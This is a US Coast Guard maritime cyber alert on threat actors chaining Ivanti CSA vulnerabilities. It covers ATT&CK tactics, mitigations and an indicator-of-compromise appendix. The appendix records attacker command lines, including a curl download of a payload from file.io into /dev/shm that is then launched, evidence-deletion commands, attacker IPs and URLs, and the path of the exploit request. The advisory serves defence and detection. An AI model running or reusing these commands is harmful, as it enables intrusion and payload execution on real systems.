# US Coast Guard Cyber Command
# Maritime Cyber Alert

January 24, 2025

**Information Sharing Protocol: TLP-CLEAR** (https://www.us-cert.gov/tlp)

## Exploitation of Vulnerabilities in Ivanti Cloud Services Appliance (CSA)

### Summary:

Marine Transportation System (MTS) entities using Ivanti Cloud Service Appliances (CSA) are vulnerable to known Common Vulnerabilities and Exposures (CVEs): CVE-2024-8963, CVE-2024-9379, CVE-2024-8190, and CVE-2024-9380. These CVEs allow attackers to gain initial access, conduct remote code execution, obtain credentials, and implant webshells on victim networks.

### Background:

The Ivanti CSA is an internet appliance that allows users to securely manage devices over the internet. It connects devices, regardless of if they are behind firewalls or are using a proxy. The vulnerabilities were discovered and reported by Ivanti in September and October 2024 after zero-day exploitation. The impact of these vulnerabilities is considerable, as Ivanti serves more than 35,000 customers and is a leader in Information Technology (IT) software.

Several verified instances of exploitation leverage the vulnerabilities, involving two distinct exploit chains with unique sequences of events. The first chain combines administrative bypass (CVE-2024-8963) with remote code executions (CVE-2024-8190, and CVE-2024-9380). The second combines administrative bypass (CVE-2024-8963) with Structured Query Language (SQL) injection (CVE-2024-9379).

A joint Cybersecurity and Information Security Agency (CISA) and Federal Bureau of Investigation (FBI) advisory, published on January 22, 2025, urges companies to take immediate action to protect themselves from potential threats. Specifically, companies are advised to

upgrade to the latest Ivanti CSA version, scan for malicious activity, assume there has been a compromise, review logs, and respond to incidents as necessary.[1]

## Targeted Applications & Systems

CVE-2024-8963, CVE-2024-9379, CVE-2024-8190, and CVE-2024-9380 affect Ivanti CSA version 4.6x versions before patch 519.[2] Two of the vulnerabilities (CVE-2024-9379 and CVE-2024-9380) affect Ivanti CSA versions 5.0.1 and below.[3]

Furthermore, Ivanti CSA 4.6 is End-of-Life (EOL), and is therefore no longer receiving patches.[4] Network administrators should upgrade to the latest supported version.

## Threat Actor Tactics:

Below are the tactics referenced by MITRE ATT&CK® techniques, which are linked to these attacks (https://attack.mitre.org/techniques/enterprise).

- **T1595.002: Active Scanning: Vulnerability Scanning**
  - Threat actors used Obelisk and GoGo to scan for vulnerabilities while performing reconnaissance.
- **T1190: Exploit Public Facing Application**
  - Threat actors compromised network device protocols and performed SQL injections by leveraging application weaknesses.
- **T1059: Command and Scripting Interpreter**
  - Attackers executed commands and scripts by abusing command script interpreters.
- **T1556: Modify Authentication Process**
  - Attackers gained access to networks by executing authentication bypass.
- **T1505.003: Server Software Component: Web Shell**
  - Threat actors implanted webshells to establish persistence.
- **T1068: Exploitation for Privilege Escalation**
  - Attackers gained access via an outdated version of a server that contained vulnerabilities.
- **T1564.002: Hide Artifacts: Hidden Users**
  - Attackers disguise themselves as hidden users.
- **T1140: Deobfuscate/Decode Files or Information**

---

[1] "Threat Actors Chained Vulnerabilities in Ivanti Cloud Service Applications" January 22, 2025. Threat Actors Chained Vulnerabilities in Ivanti Cloud Service Applications | CISA

[2] "Security Advisory Ivanti CSA 4.6 (Cloud Services Appliance) (CVE-2024-8963)" September 19, 2024. Security Advisory Ivanti CSA 4.6 (Cloud Services Appliance) (CVE-2024-8963)

[3] "Security Advisory Ivanti CSA (Cloud Services Application) (CVE-2024-9379, CVE-2024-9380, CVE-2024-9381)" October 21, 2024. Security Advisory Ivanti CSA (Cloud Services Application) (CVE-2024-9379, CVE-2024-9380, CVE-2024-9381)

[4] "Security Advisory Ivanti Cloud Service Appliance (CSA) (CVE-2024-8190)" September 16, 2024. Security Advisory Ivanti Cloud Service Appliance (CSA) (CVE-2024-8190)

    - Threat actors utilized native tools in the backup file to decrypt credentials before exfiltrating the file.
- **T1548.003: Abuse Elevation Control Mechanism: Sudo and Sudo Caching**
    - Threat actors disabled vulnerabilities, removed malicious code, and removed evidence of exploitation using sudo commands.
- **T1552.001: Unsecured Credentials: Credentials in File**
    - Attackers harvested encrypted admin credentials.
- **T1210: Exploitation of Remote Services**
    - Threat actors leveraged programming errors, EOL systems, and operating systems to exploit CSAs via remote services to gain access to organizations' networks.
- **T1219: Remote Access Software**
    - Attackers attempted to authenticate to victim networks remotely and execute commands on the CSA.
- **T1071.001: Application Layer: Web Protocol**
    - Threat actors acquired session and cross-site request forgery tokens using GET or POST requests.
- **TA0010: Exfiltration**
    - Attackers exfiltrated encrypted data including admin credentials for future use.

## Mitigation Measures:

The recommended mitigating strategies below may be used by MTS entities to decrease a threat actor's opportunity for exploitation.

- **Upgrade to the latest supported version of Ivanti CSA immediately**

- **Utilize endpoint and detection response (EDR) on the system**
    - This will alert network defenders of possible malicious activity.

- **Implement application controls such as allowlisting remote access programs**
    - This will block unlisted application execution in the event antivirus solutions fail to detect executables using compression, encryption, or obfuscation.

- **Strictly limit the use of remote desktop protocol (RDP) and other remote desktop services**
    - If RDP is necessary: audit the network for systems using RDP, close unused RDP ports, enforce lockouts after multiple attempts, apply multifactor authentication (MFA), and log RDP login attempts.

- **Require User Account Control (UAC) approval for any PsExec operations that require administrator privileges**
    - This can be configured in the Windows Registry and will reduce the risk of lateral movement using PsExec.

- **Continue following best cybersecurity practices including phishing-resistant MFA**

## Resources:

If your organization has any questions related to this alert, please contact the U.S. Coast Guard at: maritimecyber@uscg.mil, or for immediate assistance call the Coast Guard Cyber Command 24x7 Watch at 202-372-2904.

# Appendix A: IOCs

## Ivanti CSA Credential Theft Address IOCs

| File Name | IP Address |
|---|---|
| "/client/index.php%3f.php/gsb/datetime.php | 142.171.217[.]195 |
| "/client/index.php%3f.php/gsb/datetime.php | 154.64.226[.]166 |
| "/client/index.php%3f.php/gsb/datetime.php | 216.131.75[.]53 |
| "/client/index.php%3f.php/gsb/datetime.php | 23.236.66[.]97 |
| "/client/index.php%3f.php/gsb/datetime.php | 38.207.159[.]76 |

## Ivanti CSA Additional IOCs

| | |
|---|---|
| File Name | hxxps://file.io/E50vtqmJP5aa |
| File Name | hxxps://file.io/RBKuU8gicWt |
| File Name | hxxps://file.io/frdZ9L18R7Nx |
| File Name | hxxp://ip.sb |
| File Name | hxxps://pan.xj.hk/d/6401646e701f5f47518ecef48a308a36/redis |
| IPv4 | 149.154.167[.]41 |
| IPv4 | 95.161.76[.]100 |
| IPv4 | 142.171.217[.]195 |
| IPv4 | 108.174.199[.]200 |
| IPv4 | 206.189.156[.]69 |
| IPv4 | 108.174.199[.]200/Xa27efd2.tmp |
| IPv4 | 142.171.217[.]195 |
| IPv4 | 107.173.89[.]16 |
| IPv4 | 38.207.159[.]76 |
| IPv4 | 142.171.217[.]195 |
| IPv4 | 154.64.226[.]166 |
| IPv4 | 156.234.193[.]18 |
| IPv4 | 216.131.75[.]53 |
| IPv4 | 205.169.39[.]11 |
| IPv4 | 23.236.66[.]97 |
| IPv4 | 149.154.176[.]41 |
| IPv4 | 95.161.76[.]100 |
| IPv4 | 142.171.217[.]195 |
| IPv4 | 108.174.199[.]200 |
| IPv4 | 206.189.156[.]69 |
| IPv4 | 142.171.217[.]195 |
| IPv4 | 67.217.228[.]83 |
| IPv4 | 203.160.72[.]174 |
| IPv4 | 142.11.217[.]3 |
| IPv4 | 104.168.133[.]228 |
| IPv4 | 64.176.49[.]160 |
| IPv4 | 45.141.215[.]17 |
| IPv4 | 142.171.217[.]195 |
| IPv4 | 98.101.25[.]30 |
| IPv4 | 216.131.75[.]53 |
| IPv4 | 134.195.90[.]71 |
| IPv4 | 23.236.66[.]97 |
| IPv4 | 142.171.217[.]195 |
| IPv4 | 107.173.89[.]16 |

| | |
|---|---|
| IPv4 | 192.42.116[.]210 |
| IPv4 | 82.197.182[.]161 |
| IPv4 | 154.213.185[.]230 |
| IPv4 | 216.131.75[.]53 |
| IPv4 | 23.236.66[.]97 |
| IPv4 | 208.105.190[.]170 |
| IPv4 | 136.144.17[.]145 |
| IPv4 | 136.144.17[.]133 |
| IPv4 | 216.73.162[.]56 |
| IPv4 | 104.28.240[.]123 |
| IPv4 | 163.5.171[.]49 |
| IPv4 | 89.187.178[.]179 |
| IPv4 | 163.5.171[.]49 |
| IPv4 | 203.160.86[.]69 |
| IPv4 | 185.220.69[.]83 |
| IPv4 | 185.199.103[.]196 |
| IPv4 | 188.172.229[.]15 |
| IPv4 | 155.138.215[.]144 |
| IPv4 | 64.176.49[.]160 |
| IPv4 | 185.40.4[.]38 |
| IPv4 | 216.131[.]75.53 |
| IPv4 | 185.40.4[.]95 |
| Hash | a50660fb31df96b3328640fdfbeea755 |
| Hash | 53c5b7d124f13039eb62409e1ec2089d |
| Hash | 698a752ec1ca43237cb1dc791700afde |
| Hash | aa69300617faab4eb39b789ebfeb5abe |
| Hash | c2becc553b96ba27d60265d07ec3bd6c |
| Hash | cacc30e2a5b2683e19e45dc4f191cebc |
| Hash | 061e5946c9595e560d64d5a8c65be49e |
| Hash | e35cf026057a3729387b7ecfb213ae |
| Hash | c7d20ca6fe596009afaeb725fec8635f |
| Hash | F7F81AE880A17975F60E1E0FE1A4048B |
| Hash | 86B62FFD33597FD635E01B95F08BB996 |
| Hash | DD975310201079CACD4CDE6FACAB8C1D |
| Hash | 1B20E9310CA815F9E2BD366FB94E147F |
| Hash | 30f57e14596f1bcad7cc4284d1af4684 |
| Hash | 62a611f0f1a418876b11c9df3b56885bed |
| URL | hxxps://file.io/E50vtqmJP5aa |
| URL | hxxps://file.io/RBKuU8gicWt |
| URL | hxxps://file.io/frdZ9L18R7Nx |
| URL | hxxp://ip.sb |
| URL | hxxps://pan.xj.hk/d/ 6401646e701f5f47518ecef48a308a36/redis |
| URL | 108.174.199.200/Xa27efd2.tmp |
| URL | 45.33.101.53/log |
| URL | 45.33.101.53/log2 |
| URL | 208.184.237.75/fdsupdate |
| URL | 173.243.138.76/fdsupdate |
| URL | cri07nnrg958pkh6qhk0977u8c83jog6t.oast[.]fun |
| URL | cri07nnrg958pkh6qhk0yrgy1e76p1od6.oast[.]fun |
| domain | gg.oyr2ohrm.eyes[.]sh |
| domain | ggg.oyr2ohrm.eyes[.]sh |
| domain | gggg.oyr2ohrm.eyes[.]sh |
| domain | txt.xj[.]hk |

| | |
|---|---|
| domain | book.hacktricks[.]xyz |
| Host | sh -c setsid /dev/shm/redis & |
| Host | sh -c curl -k https://file[.]io/1zqvMYY1dpkk -o /dev/shm/redis2 |
| Host | sh -c mv /dev/shm/redis2 /dev/shm/redis |
| Host | sh -c rm /dev/shm/* |
| Host | rm /dev/shm/PostgreSQL.1014868572 /dev/shm/redis |
| Host | 78cc672218949a9ec87407ad3bcb5db6 |
| Host | d13f71e51b38ffef6b9dc8efbed27615 |
| Host | d88bfac2b43509abdc70308bef75e2a6 |
| Host | R.exe (MD5: 60d5648d35bacf5c7aa713b2a0d267d3) |
| Host | ae51c891d2e895b5ca919d14edd42c26 |
| Host | d88bfac2b43509abdc70308bef75e2a6 |
| Host | f82847bccb621e6822a3947bc9ce9621 |
| Host | c894f55c8fa9d92e2dd2c78172cff745 |
| Host | MD5: Unknown |
| Host | MD5: Unknown |
| Host | MD5: Unknown |
| CrowdStrike Falcon | e09fef2f502a41c199046219a6584e8d |
| /var/secure log | nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/ln -sf |
| /var/secure log | nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/mv /tmp/php.ini /etc/php.ini |
| /var/secure log | nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/sbin/hwclock --localtime --systohc |
| /var/secure log | nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/subin/backuptool --fullList |

**References:**


"Security Advisory Ivanti Cloud Service Appliance (CSA) (CVE-2024-8190)" September 16, 2024. Security Advisory Ivanti Cloud Service Appliance (CSA) (CVE-2024-8190)

"Security Advisory Ivanti CSA (Cloud Services Application) (CVE-2024-9379, CVE-2024-9380, CVE-2024-9381)" October 21, 2024. Security Advisory Ivanti CSA (Cloud Services Application) (CVE-2024-9379, CVE-2024-9380, CVE-2024-9381)

"Security Advisory Ivanti CSA 4.6 (Cloud Services Appliance) (CVE-2024-8963)" September 19, 2024. Security Advisory Ivanti CSA 4.6 (Cloud Services Appliance) (CVE-2024-8963)

"Threat Actors Chained Vulnerabilities in Ivanti Cloud Service Applications" January 22, 2025. Threat Actors Chained Vulnerabilities in Ivanti Cloud Service Applications | CISA